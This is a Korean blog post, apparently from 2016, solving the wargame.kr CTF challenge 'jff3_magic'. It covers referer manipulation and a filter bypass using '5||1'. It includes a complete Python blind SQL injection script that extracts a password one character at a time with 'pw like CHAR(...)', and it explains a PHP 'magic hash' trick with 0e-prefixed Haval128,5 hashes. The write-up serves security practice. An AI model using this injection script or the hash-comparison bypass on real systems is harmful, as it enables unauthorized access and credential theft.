늘모자란, 개발 :: [wargame.kr] Challenge 25 - jff3_magic

늘모자란, 개발

This challenge is part of Just For Fun [Season3].

- thx to Comma@LeaveRet


jff3_magic 이란 무엇인가....
일단 문제에 들어가면 뭘해도 history.back(-1) 하고 있다. 뭘 눌러도 뒤로 간다. 그런데 이게 힌트라고 한다.
그렇다면, 레퍼러를 조작하면 들어갈 수 있을 것 같은 기분이 들었고 레퍼러를 이용해서 coomma나 orang 같은 페이지에 접근할 수 있었다. 그런데 그 이상은 감이 잘 안잡혔다...

no에 5 or 1를 넣으니 id 위칸에 있던 내용이 no hack 으로 변경되는것을 확인했다.
결국 no를 이용한 인젝션 문제 인것 같다

필터링 우회를 위해 5||1 를 입력하니 admin으로 나온다.

그래서 5||substr(... 이런식으로 쿼리를 짜서 한글자씩 비교하려니 no hack이라고 나온다. substr를 쓸 수 없다면.. 뭘로 해야하지?;
information.shcema 도 볼 수 없고.. 0x 로 시작하는 hex글자도 넣을 수가 없다
결국 직접적으로 컬럼 이름 알아내는건 어려울 것 같고, 그냥 pw라고 적혀있으니 pw로 사용해보기로 한다 ㅡㅡ

length는 막혀 있지 않은데,
substr, mid, left, right 뭐 다 막혀있다

그런데 기가 막히게 CHAR이 된다. 하하하 땡잡은 기분이다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, time


headers = {'Host': 'wargame.kr:8080'}


print "FIND PASSWORD"

pw = ""
pw2 = ""
for i in range(1,33):
    for j in range(47,91):
        data = "5||"
        data = data + "pw like CHAR({}{},{})".format(pw,ord(chr(j)),ord("%"))
        

        #print data
        data = urllib.quote(data)

        req = urllib2.Request("http://wargame.kr:8080/jff3_magic/?no=" + data, '', headers)
        response = urllib2.urlopen(req)

        res = response.read()
        #print res

        if "admin" in res:
            print j, chr(j)
            pw2 = pw2 + chr(j)
            pw = pw + str(ord(chr(j))) + ","
print pw2


그런데 비밀번호로 로그인하려니 incorrect하다고 한다. 이게 무슨소리지?
그리고 incorrect password라면서 뭔가 이상한 해쉬가 나온다.

1을 넣고 검색해보니
50034bd20ef09138e2ff633365ea6879 란 값이 나오는데, 구글에 검색해보니 (Haval128,5) 이라는 걸로 해쉬화된것이라고 한다.
이건 또 뭐야..

그래서 검색을 좀 해보니 우리가 따낸 0E 어쩌고 hash. 어디서 본적이 있지 않나? 바로 이 문제에서 봤다.
0E로 시작하면 지수화 되버려서 magic hash가 된다고 한다. 그럼 0E로 만들어지는 haval128,5을 찾아보자
딱 하나 있다. 이걸 입력해주면!! 클리어!







2016/06/14 00:57 2016/06/14 00:57